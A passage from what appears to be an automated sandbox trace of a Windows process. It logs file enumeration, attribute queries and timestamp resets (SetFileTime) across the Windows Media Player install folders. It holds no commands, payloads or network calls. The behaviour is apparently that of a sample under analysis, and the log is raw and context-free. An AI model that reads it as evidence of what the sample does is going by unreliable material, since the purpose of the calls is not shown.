cAlternateFileName="")) returned 1 [0250.073] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf424006, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf424006, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c3140d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc38, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_color32.bmp", cAlternateFileName="")) returned 1 [0250.073] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf44a163, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf44a163, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c3140d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x24cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_color32.jpg", cAlternateFileName="")) returned 1 [0250.073] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf44a163, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf44a163, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c3140d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1b38, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_color48.bmp", cAlternateFileName="")) returned 1 [0250.073] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf44a163, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf44a163, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c3140d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c85, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_color48.jpg", cAlternateFileName="")) returned 1 [0250.073] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf4702c0, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf4702c0, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c3140d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1532, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_color48.png", cAlternateFileName="")) returned 1 [0250.073] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf4702c0, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf4702c0, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c3140d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1532, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnss_color48.png", cAlternateFileName="")) returned 0 [0250.073] GetLastError () returned 0x12 [0250.073] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16577e8) returned 1 [0250.073] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0250.074] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9ac8) returned 1 [0250.074] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1655098) returned 1 [0250.074] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa925159f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa925159f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9277700, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1fb600, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup_wm.exe", cAlternateFileName="")) returned 1 [0250.074] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9874cd8b, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9874cd8b, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Skins", cAlternateFileName="")) returned 1 [0250.074] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1655098 [0250.074] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Skins" (normalized: "c:\\program files\\windows media player\\skins"), fInfoLevelId=0x0, lpFileInformation=0x15ff3c0 | out: lpFileInformation=0x15ff3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9874cd8b, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9874cd8b, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0250.074] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Skins" (normalized: "c:\\program files\\windows media player\\skins"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0250.074] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0250.074] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x9eadf0 [0250.074] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0250.074] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9eadf0) returned 1 [0250.075] NtClose (Handle=0x1b8) returned 0x0 [0250.075] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1655098) returned 1 [0250.075] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1655098 [0250.075] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16577e8 [0250.075] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.075] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Skins\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd5e0 [0250.075] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9874cd8b, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9874cd8b, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.075] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9277700, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9277700, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9277700, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10689, dwReserved0=0x0, dwReserved1=0x0, cFileName="Revert.wmz", cAlternateFileName="")) returned 1 [0250.075] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1656908 [0250.075] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1656908) returned 1 [0250.075] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1656908 [0250.075] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1656908) returned 1 [0250.075] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1656908 [0250.075] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x165fba8 [0250.075] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1657980 [0250.075] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1656908) returned 1 [0250.075] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9277700, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9277700, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9277700, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10689, dwReserved0=0x0, dwReserved1=0x0, cFileName="Revert.wmz", cAlternateFileName="")) returned 0 [0250.075] GetLastError () returned 0x12 [0250.075] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Skins\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd520 [0250.076] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0250.076] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9874cd8b, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9874cd8b, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.076] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9277700, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9277700, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9277700, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10689, dwReserved0=0x0, dwReserved1=0x0, cFileName="Revert.wmz", cAlternateFileName="")) returned 1 [0250.076] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9277700, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9277700, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9277700, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10689, dwReserved0=0x0, dwReserved1=0x0, cFileName="Revert.wmz", cAlternateFileName="")) returned 0 [0250.076] GetLastError () returned 0x12 [0250.076] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.076] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0250.076] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16577e8) returned 1 [0250.076] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1655098) returned 1 [0250.076] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visualizations", cAlternateFileName="")) returned 1 [0250.076] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1655098 [0250.076] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Visualizations" (normalized: "c:\\program files\\windows media player\\visualizations"), fInfoLevelId=0x0, lpFileInformation=0x15ff3c0 | out: lpFileInformation=0x15ff3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0250.076] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Visualizations" (normalized: "c:\\program files\\windows media player\\visualizations"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0250.076] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0250.076] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x9eadf0 [0250.077] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0250.077] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9eadf0) returned 1 [0250.077] NtClose (Handle=0x1a8) returned 0x0 [0250.077] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1655098) returned 1 [0250.077] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1655098 [0250.077] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16577e8 [0250.077] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x16578f8 [0250.077] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Visualizations\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd520 [0250.077] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.077] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0250.077] GetLastError () returned 0x12 [0250.077] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Visualizations\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd5e0 [0250.077] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0250.077] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.077] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0250.077] GetLastError () returned 0x12 [0250.078] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.078] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0250.078] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16577e8) returned 1 [0250.078] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1655098) returned 1 [0250.078] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ee55f9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8ee55f9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8ee55f9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x40400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmlaunch.exe", cAlternateFileName="")) returned 1 [0250.078] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8f0b759, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8f0b759, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8f0b759, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x19000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpconfig.exe", cAlternateFileName="")) returned 1 [0250.078] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0af919e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0af919e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0b1f2fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x128200, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPDMC.exe", cAlternateFileName="")) returned 1 [0250.078] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52b88470, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x52b88470, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x4623b740, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x68200, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPDMCCore.dll", cAlternateFileName="")) returned 1 [0250.078] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b1930c1, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x5b1930c1, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xfdb75f20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpenc.exe", cAlternateFileName="")) returned 1 [0250.078] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8f318ba, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8f318ba, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8f318ba, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmplayer.exe", cAlternateFileName="")) returned 1 [0250.078] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6431260b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x6431260b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x462abc20, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPMediaSharing.dll", cAlternateFileName="")) returned 1 [0250.078] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0b4545e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0b4545e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0b6b5be, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x174600, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnetwk.exe", cAlternateFileName="")) returned 1 [0250.078] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66334c83, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x66334c83, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xfe0cf930, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnscfg.exe", cAlternateFileName="")) returned 1 [0250.078] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66e8341f, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x66e8341f, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x462d2d20, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x87200, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnssci.dll", cAlternateFileName="")) returned 1 [0250.078] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ff32e2e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x4ff32e2e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x462d2d20, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x8800, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPNSSUI.dll", cAlternateFileName="")) returned 1 [0250.078] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dde8703, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x5dde8703, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xfe11b420, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmprph.exe", cAlternateFileName="")) returned 1 [0250.078] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8f318ba, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8f318ba, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8f318ba, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x19200, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpshare.exe", cAlternateFileName="")) returned 1 [0250.078] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x639ff2e2, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x639ff2e2, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xfe2737f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x28800, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPSideShowGadget.exe", cAlternateFileName="")) returned 1 [0250.078] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x639ff2e2, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x639ff2e2, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xfe2737f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, 